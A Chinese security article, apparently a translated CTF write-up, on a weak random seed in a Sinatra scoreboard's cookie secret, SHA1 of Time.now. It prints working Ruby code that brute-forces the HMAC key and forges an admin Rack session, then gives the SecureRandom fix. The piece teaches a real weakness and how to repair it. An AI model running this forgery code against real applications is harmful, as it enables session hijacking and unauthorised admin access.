menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 068-弱随机化种子漏洞科普.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    068-弱随机化种子漏洞科普.md
    6.16 KB / 2021-07-17 00:01:34
        # 弱随机化种子漏洞科普
    
    0x00 背景
    -------
    
    * * *
    
    上周我参加了一个Bishop Fox和BYU大学举办的CTF比赛,在比赛过程中我决定尝试一下入侵一下计分系统,并且我把入侵的过程记录了下来。
    
    尽管客户端的token欺骗已经不是什么新鲜事了,但是这次的入侵过程可以作为weak randomness漏洞的一个很好的练习。(这次攻击目标所使用的框架并不是像Rails一样常用的框架)
    
    最后说一句:这个漏洞是框架自己带有的而不是Bishop Fox 或者是 BYU的问题。
    
    0x01 cookie运行原理
    ---------------
    
    * * *
    
    在开始之前,我推荐你阅读一下[这篇博文](http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/),他会告送你一个基于ruby的webapps如何处理cookie。
    
    简而言之,ruby会生成一个hash数值作为一个cookie存储在用户客户端像这样
    
    ```
    { 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }  
    
    ```
    
    之后ruby分为三步把他存储到客户端
    
    ```
    (1)使用Marshal.dump对数据结构进行序列化  
    (2)使用base64编码第一步得到的字符串  
    (3)计算message的HMAC(HMAC被用于message的完整性检查,这是ruby的一种机制以防用户篡改自己的cookie)  
    
    ```
    
    当以上三步做完之后,ruby会在头文件中加入如下一段
    
    ```
    Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"  
    
    ```
    
    实际的cookie是这样
    
    ```
    Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"  
    
    ```
    
    上述处理cookie的过程有一个漏洞,message中的信息可以被客户端还原,只需要对它进行base64解码和反序列化即可得到原始的ruby object
    
    ruby对于cookie信任的前提是,通过HMAC验证message中的内容必须是有你代码中设定的密钥标记过的,只有这样ruby才会把cookie当做一个有效地凭证。
    
    下图就是上述过程简要流程
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/055922c2350a151ab3b124ca24eceebeb90f9860.jpg)
    
    如果你篡改了你的cookie,会导致HMAC验证不通过,从而使你修改过的cookie值失效。
    
    0x02 简介
    -------
    
    * * *
    
    CTF的评分系统是一个Sinatra-based的webapp,它使用了一些基本的Rails机制,提供了一个计分板的效果。看一下代码,还是比较简洁的。
    
    这个webapp有一个有趣的现象就是,默认情况下代码库中没有配置文件,配置文件是在程序运行过程中生成的,下面是创建配置文件的代码。
    
    ```
    begin
      require './config.rb'
    rescue Exception => e
      # create default config.rb
      open('./config.rb', "w+") {|f|
        f.puts <<-"EOS"
    COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
    ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
    STYLE_SHEET = "/style.css"
    HTML_TITLE = "scoreserver.rb CTF"
    EOS
        f.flush
      }
      require './config.rb'
    end
    
    ```
    
    值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是`Time.now.to_s`的SHA-1散列。这段代码中所使用的`Time.now.to_s`就是我们所说的不健壮的随机化种子。
    
    0x03 原理
    -------
    
    * * *
    
    现在我们很容易知道,如果想要伪造cookie,就必须得到一个合法的HMAC字符串,只有得到它之后,我们才可以通过修改session-id来控制session。
    
    这个漏洞的根源是因为它使用了,弱随机化种子,在上文的代码中,SHA1-hashing 加密了一个秒级别的精度的字符串,这样我们就可以使用暴力的方法尝试一天之内秒数只需要`60 x 60 x 24`次尝试。
    
    而且我们并不需要把每次的尝试结果提交到web服务器,只需要在本地计算出正确的key,然后再通过它构造出正确的HMAC提交即可。
    
    0x04 POC
    --------
    
    * * *
    
    为了确定一下我们是否可以破解HMAC,我们可以试一下。
    
    首先,我们从webapp得到cookie和HMAC。如果你想自己测试,copy以下代码运行即可。
    
    ```
    require 'faraday'
    
    connection = Faraday.new(:url => 'http://localhost:4567')
    response = connection.get '/'
    cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
    
    ```
    
    现在我们只需要不断的获取Time.now和创建HMACs直到匹配为止。我们通过一个循环依次减小时间,直到找到正确的时间使得SHA1散列匹配而得到session key。
    
    ```
    require 'digest/sha1'
    require 'openssl'
    
    def create_hmac message, key
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
    end
    
    seed = Time.now
    
    while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
        seed -= 1
    end
    
    key = Digest::SHA1.hexdigest(seed.to_s)
    
    ```
    
    这样我们就可以成功破解key了,这个key可以帮助我们创建合法的HMAC。
    
    0x05 利用
    -------
    
    * * *
    
    得到了key,我们就可以找一下源代码中有什么能让我们提升权限的地方。
    
    首先,代码会对cookie进行反序列化。
    
    ```
    params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))
    
    ```
    
    这样修改之后,我们就可以赋予自己管理员权限。
    
    ```
    params.merge!({ 'admin' => true })
    
    ```
    
    通过上述语句重建cookie
    
    ```
    bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
    bad_hmac = create_hmac(bad_cookie, key)
    header = "rack.session=#{bad_cookie}--#{bad_hmac};"
    
    ```
    
    只要把上面得到的cookie内容,加到header里面就可以获取管理员权限了。
    
    到达这一步只要查看源代码就可以很轻易地获取到每一题的答案了。
    
    0x06 防御方法
    ---------
    
    * * *
    
    我在github上提交了一个修改版本,其中使用这句代替了cookie secret key的生成
    
    ```
    Digest::SHA1.hexdigest(Time.now.to_s)  
    
    ```
    
    使用SecureRandom库生成随机数
    
    ```
    SecureRandom.hex(20)  
    
    ```
    
    这会生成一个40个字符的随机字符串
    
    0x07 结论
    -------
    
    * * *
    
    这篇文章虽然在技术上没有什么实质性突破,但是作为一个弱随机漏洞的例子还是很不错的,希望在思路上可以启发到各位。
    
    from:[http://blog.tjll.net/weak-random-seed-rack-exploit/](http://blog.tjll.net/weak-random-seed-rack-exploit/)
    
    links
    file_download